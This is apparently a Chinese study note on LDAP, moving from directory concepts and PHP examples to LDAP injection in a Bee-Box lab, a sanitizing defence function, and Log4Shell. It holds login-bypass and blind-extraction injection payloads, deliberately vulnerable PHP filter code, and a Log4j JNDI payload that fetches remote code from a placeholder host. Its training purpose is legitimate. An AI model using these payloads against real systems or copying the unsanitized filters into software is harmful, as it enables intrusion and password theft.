② - 介绍
目录:目录是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。所以目录天生是用来查询的,就好象它的名字一样。
LDAP(Lightweight Directory Access Protocol):轻量级目录访问协议,是一种在线目录访问协议。LDAP主要用于目录中资源的搜索和查询,是X.500的一种简便的实现,是运行于TCP/IP之上的协议,端口号为:389, 加密636(SSL),这就意味着它为CS架构能够分布式部署
目录树概念
- 目录树:在一个目录服务系统中,整个目录信息集可以表示为一个目录信息树,树中的每个节点是一个条目。
- 条目:每个条目就是一条记录,每个条目有自己的唯一可区别的名称(DN)。
- 对象类:与某个实体类型对应的一组属性,对象类是可以继承的,这样父类的必须属性也会被继承下来。
- 属性:描述条目的某个方面的信息,一个属性由一个属性类型和一个或多个属性值组成,属性有必须属性和非必须属性
DN:唯一标识一条记录的位置,类似于主键
DC:域名的部分,其格式是将完整的域名分成几部分,如域名为example.com变成dc=example, dc=com
OU:组织单位,组织单位可以包含其他各种对象,如一条记录(包括其他组织单元)
CN:公共名称,即一条记录的名称
Entry:条目记录数
如:baby条目的DN就为 —— cn=baby,ou=marketing,ou=pe=ple,dc=mydomain,dc=org
③ - LDAP查询语法
常见操作符
=
:等于(cn=steve)
:查询名为steve的人*
:通配符(cn=s*)
:查询名字以s
开头的人&
:逻辑与(&(cn=s*)(sn=*d))
:查询名字以s开头且以d结尾的人|
:逻辑或(|(cn=s*)(cn=t*))
:查询名字以s或t开头的人!
:逻辑非(!cn=John)
:查询名字不为John的人
LDAP过滤器
LDAP 在对目录内容进行搜索的时候,需要过滤器来进行配置,其定义于RFC4515中,这些过滤器的结构可概括如下
Fileter = (filtercomp)
Filtercomp = and / or / not / item
And = & filterlist
Or = | filterlist
Not = ! filter
Filterlist = 1*filter
Item = simple / present / substring
Simple = “=” / “~=” / ”>=” / “<=”
Present = attr =*
Substring = attr “=” [initial]*[final]
Initial = assertion value
Final = assertion value
所有过滤器必须置于括号中,只有简化的逻辑操作符(AND、OR、NOT)
和关系操作符(=、>=、<=、~=)
可用于构造它们。通配符*
可用来替换过滤器中的一个或多个字符。
除使用逻辑操作符外,RFC4256还允许使用下面的单独符号作为两个特殊常量:(&)
代表TRUE,(|)
代表FALSE
- AND过滤器:
(&(parameter1=value1)(parameter2=value2))
- OR过滤器:
(|(parameter1=value1)(parameter2=value2))
注意事项:(&(attribute=value)(injected_filter)) (second_filter)
在OpenLDAP中,第二个过滤器会被忽略,只有第一个会被执行,那么类似上面的这种注入就可以成功的(但是本地执行失败了,不知道为啥,本地执行失败了,但是可以直接构造闭合)
而在ADAM中,有两个过滤器的查询是不被允许的,那么这种注入是没什么用的
④ - 配置
phpstudy开启设置
docker配置LDAP环境
docker pull osixia/openldap
docker pull osixia/phpldapadmin
docker run \
-d \
-p 389:389 \
-p 636:636 \
-v /usr/local/ldap:/usr/local/ldap \
--name ldap \
osixia/openldap
# 默认配置
# dn dc=example,dc=org
# admin admin,dc=org,dc=example
# password admin
docker run -dit \
-p 18080:80 \
--link ldap \
--name suiyue_pla \
--env PHPLDAPADMIN_HTTPS=false \
--env PHPLDAPADMIN_LDAP_HOSTS=ldap \
--restart always \
--detach osixia/phpldapadmin
# 查询账户的账号密码: 默认为[cn=admin,dc=example,dc=org]:[admin]
docker exec ldap ldapsearch -x -H ldap://localhost -b dc=example,dc=org -D "cn=admin,dc=example,dc=org" -w "admin"
0x01 PHP处理LDAP
查询示例
<?php
# 连接LDAP服务器
$ldap_host = "ldap://127.0.0.1";
$ldap_port = "389";
$ldap_conn = ldap_connect($ldap_host, $ldap_port) or die("Can't connect to LDAP server");
# 绑定LDAP服务器
ldap_set_option($ldap_conn, LDAP_OPT_PROTOCOL_VERSION, 3); # 解决协议错误问题
$ldap_user = "cn=admin,dc=example,dc=org";
$ldap_pwd = "admin";
ldap_bind($ldap_conn, $ldap_user, $ldap_pwd) or die("Can't bind to LDAP server");
# 查询并输出数据
$base_dn = "ou=group,ou=bwapp,dc=example,dc=org"; # 相当于指定查询的根节点
$filter_col = "mail";
$filter_val = "*@qq.com";
# ldap_search函数的第三个参数为查询条件,相当于WHERE子句,具体规则详见0x00章节的查询语法
$result = ldap_search($ldap_conn, $base_dn, "($filter_col=$filter_val)"); # 指定dn下的所有数据都会被递归查询
$entry = ldap_get_entries($ldap_conn, $result);
foreach ($entry as $value) {
var_dump($value);
}
# 断开连接
ldap_unbind($ldap_conn) or die("Can't unbind from LDAP server");
添加记录
<?php
# 连接LDAP服务器
$ldap_host = "ldap://127.0.0.1";
$ldap_port = "389";
$ldap_conn = ldap_connect($ldap_host, $ldap_port) or die("Can't connect to LDAP server");
# 绑定LDAP服务器
ldap_set_option($ldap_conn, LDAP_OPT_PROTOCOL_VERSION, 3); # 解决协议错误问题
$ldap_user = "cn=admin,dc=example,dc=org";
$ldap_pwd = "admin";
ldap_bind($ldap_conn, $ldap_user, $ldap_pwd) or die("Can't bind to LDAP server");
# 添加一条记录
$base_dn = "ou=JK,ou=group,ou=bwapp,dc=example,dc=org";
$entry['sn'] = 'Gwen';
$entry['cn'] = 'Gwen';
$entry['uid'] = 'Gwen';
$entry['givenName'] = 'Gwen';
$entry['uidNumber'] = 13700;
$entry['gidNumber'] = 0;
$entry['homeDirectory'] = '/home/jk/gwen';
$entry['loginshell'] = '/bin/bash';
ldap_add($ldap_conn, $base_dn, (array)$entry) or die("Can't add new entry!");
# 断开连接
ldap_unbind($ldap_conn) or die("Can't unbind from LDAP server");
#TODO 不知道为啥报错,先暂时放下,毕竟和这章所学的内容暂时扯不上关系
添加属性值:ldap_mod_add()
修改记录
<?php
# 连接LDAP服务器
$ldap_host = "ldap://127.0.0.1";
$ldap_port = "389";
$ldap_conn = ldap_connect($ldap_host, $ldap_port) or die("Can't connect to LDAP server");
# 绑定LDAP服务器
ldap_set_option($ldap_conn, LDAP_OPT_PROTOCOL_VERSION, 3); # 解决协议错误问题
$ldap_user = "cn=admin,dc=example,dc=org";
$ldap_pwd = "admin";
ldap_bind($ldap_conn, $ldap_user, $ldap_pwd) or die("Can't bind to LDAP server");
# 修改一条记录
$base_dn = "uid=Taka,ou=JK,ou=group,ou=bwapp,dc=example,dc=org";
$entry = array("mail" => "Taka123@qq.com");
ldap_modify($ldap_conn, $base_dn, $entry) or die("Can't modify entry");
# 断开连接
ldap_unbind($ldap_conn) or die("Can't unbind from LDAP server");
删除记录
<?php
# 连接LDAP服务器
$ldap_host = "ldap://127.0.0.1";
$ldap_port = "389";
$ldap_conn = ldap_connect($ldap_host, $ldap_port) or die("Can't connect to LDAP server");
# 绑定LDAP服务器
ldap_set_option($ldap_conn, LDAP_OPT_PROTOCOL_VERSION, 3); # 解决协议错误问题
$ldap_user = "cn=admin,dc=example,dc=org";
$ldap_pwd = "admin";
ldap_bind($ldap_conn, $ldap_user, $ldap_pwd) or die("Can't bind to LDAP server");
# 删除一条记录
$base_dn = "uid=Taka,ou=JK,ou=group,ou=bwapp,dc=example,dc=org";
ldap_delete($ldap_conn, $base_dn) or die("Can't delete entry.");
# 断开连接
ldap_unbind($ldap_conn) or die("Can't unbind from LDAP server");
0x02 LDAP注入
LDAP注入以AND来讲解,OR的话也是用一样的方法,这里就不分开讲解了
① - 常规注入
$uid = $_GET['uid'];
$pwd = $_GET['pwd'];
$filter = "(&(uid=$uid)(userPassword=$pwd))";
echo "<h3>Filter: $filter</h3><hr>";
$result = ldap_search($ldap_conn, $base_dn, $filter);
$entry = ldap_get_entries($ldap_conn, $result);
if ($entry['count'] === 0 && empty($entry)) {
echo "<b>登录失败</b>";
} else {
echo "<b>登录成功,获取数据如下 ———</b><br>";
var_dump($entry[0]);
}
登录成功
登录失败
通过LDAP注入绕过访问控制
利用通配符绕过
payload:?uid=Vox&pwd=*
原理:利用通配符绕过
构造闭合绕过
payload:?uid=Vox)(|(%26&pwd=0)
注意:GET传参时,&
需要进行编码
② - 盲注
原理:可以根据页面回显判断注入是否成功,则可以利用这个特性去判断其它未输出的属性值
$uid = $_GET['uid'];
$pwd = $_GET['pwd'];
$filter = "(&(uid=$uid)(userPassword=$pwd))";
echo "<h3>Filter: $filter</h3><hr>";
$result = ldap_search($ldap_conn, $base_dn, $filter);
$entry = ldap_get_entries($ldap_conn, $result);
if ($entry['count'] === 0 || empty($entry)) {
echo "<b>登录失败</b>";
} else {
echo "<b>登录成功,你的邮箱为: {$entry[0]['mail'][0]}</b>";
}
登录成功
盲注测试
- 首先测试字段值存在
- 然后逐字符猜解字段值
…
- 最后讲通配符去除判断是否到达字段结束处
最终去掉通配符,发现登录成功即可确认当前数据为字段所有信息
盲注技巧:字符串消减技术,可以缩小盲注的字典,从而减少请求数量
0x03 Bee-Box 靶场练手
靶场路径:靶场安装路径/app/ldap_connect.php
① - 选择LDAP环境
如果没有数据可以自己先去创建一些,至少需要两个OU —— admin(管理员用户)和bwapp(普通用户)
如下是登录成功的页面
② - 源码分析
源码与连接LDAP的脚本文件不一致,存在于:ldapi.php
文件中
<!-- 截取了其中的关键代码进行展示 -->
<?php
$ds = ldap_connect($server);
$dn = $_SESSION["ldap"]["dn"];
// Sets the fields for $filter
$search_for = $_REQUEST["user"]; // The string to find
$search_for = ldapi($search_for);
$search_field_1 = "givenname"; // The LDAP field to search for the string
$search_field_2 = "sn"; // The LDAP field to search for the string
$search_field_3 = "userprincipalname"; // The LDAP field to search for the string
// 提供的可以更换的搜索语句还是挺多的
# Searches all the 'Common Names'
$filter = "CN=*";
# Wildcard is *. Remove it if you want an exact match
$filter = "($search_field=$search_for*)";
# Exact match
$filter = "($search_field=$search_for)";
# Searches all the users
$filter = "(objectClass=user)";
# Searches a specific user
$filter = "(&($search_field=$search_for)(objectClass=user))";
# Searches a specific user
$filter = "(&($search_field=$search_for)(objectClass=user)(objectCategory=person))";
# Injection!!!
$filter = "(|($search_field=$search_for))";
# Injection!!!
$filter = "(|($search_field_1=$search_for)($search_field_2=$search_for)($search_field_3=$search_for))";
$ldap_fields_to_find = array("objectsid", "samaccountname", "userprincipalname", "cn", "displayname");
$sr = ldap_search($ds, $dn, $filter, $ldap_fields_to_find);、
$info = ldap_get_entries($ds, $sr);
for($x=0; $x<$info["count"]; $x++)
{
$objectsid = bin_sid_to_text($info[$x]["objectsid"][0]);
$samaccountname = $info[$x]["samaccountname"][0];
$userprincipalname = $info[$x]["userprincipalname"][0];
$cn = $info[$x]["cn"][0];
$givenname = $info[$x]["displayname"][0];
?>
<tr height="40">
<td align="center"><?php echo $objectsid?></td>
<td><?php echo $samaccountname?></td>
<td><?php echo $userprincipalname?></td>
<td><?php echo $cn?></td>
<td><?php echo $givenname?></td>
</tr>
<?php
}
ldap_close($ds);
}
③ - 尝试注入
这道题没有官方的数据还不怎么好做,实际上这个完全没有防护,所以还是很简单的,我们用
$filter = "(|($search_field_1=$search_for)($search_field_2=$search_for)($search_field_3=$search_for))";
浅做一下,匹配的条件就按照givenname
来好了,这个好设置
正常操作
使用通配符
利用盲注查询其它的字段
为了方便演示,我们加上一行代码
第一步:找到能够测试盲注的点
第二步:确认需要查询的字段存在
userPassword
字段存在
第三步:开始获取数据
…
成功测试出Vox的userPassword字段
0x04 防御
LDAP注入防御的话,没有像SQL注入那样特别好的防御方式,一般都是在查询前使用黑名单匹配去过滤 —— 圆括号、星号、逻辑运算符、关系运算符
上⾯这些字符的处理在RFC2254中都能找到,具体实现可参考如下⼀段PHP代码:
function ldapspecialchars($string) {
$sanitized=array('\\' => '\5c',
'*' => '\2a',
'(' => '\28',
')' => '\29',
"\x00" => '\00');
return str_replace(array_keys($sanitized),array_values($sanitized),$string);
}
对LDAP服务而言防御注⼊并不像SQL注⼊那么复杂,只要把守好数据的出入口就能有效的防御攻击
0x05 扩展
Java安全这一块,暂时没有学的打算,现放点资料放这里,等需要用到了可以参考参考
JNDI与LDAP
简单来说,JNDI则是Java中用于访问LDAP的API,开发人员使用JNDI完成与LDAP服务器之间的通信,即用JNDI来访问LDAP,从而定位用户、网络、机器、对象和服务等各种资源。
JDNI注入
Log4J2漏洞
介绍
Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。
原理:日志在打印遇到${
后,插值器以:
号作为分割,将表达式内容分割为两个部分,前者作为prefix,后者作为key。然后通过prefix去寻找对应的lookup类,通过对应的lookup实例调用lookup方法,最后将key作为参数带入执行
payload:${jndi:ldap://xxx.xxx.xxx.xxx/exp}
,即通过jndi注入,借助ldap服务(轻量目录访问协议)来下载执行恶意payload,流程如下:
- 像目标发送指定的payload,目标对payload进行解析执行,然后会通过ldap链接远程服务,当ldap服务收到请求之后,就将请求重定向到恶意java class的地址
- 目标服务器收到重定向请求后,下载恶意class并执行其中的代码,从而执行系统命令
环境
Apache Log4j 2.x <= 2.14.1
随便举几个使用了Log4j组件的例子:Apache Struts2,Apache Solr
复现
- 利用方式一:通过JNDI注入器进行注入
- 利用方式二:自己编写
- 利用方式三:利用dnslog检测漏洞
payload:${jndi:ldap://${sys:java.version}.example.com}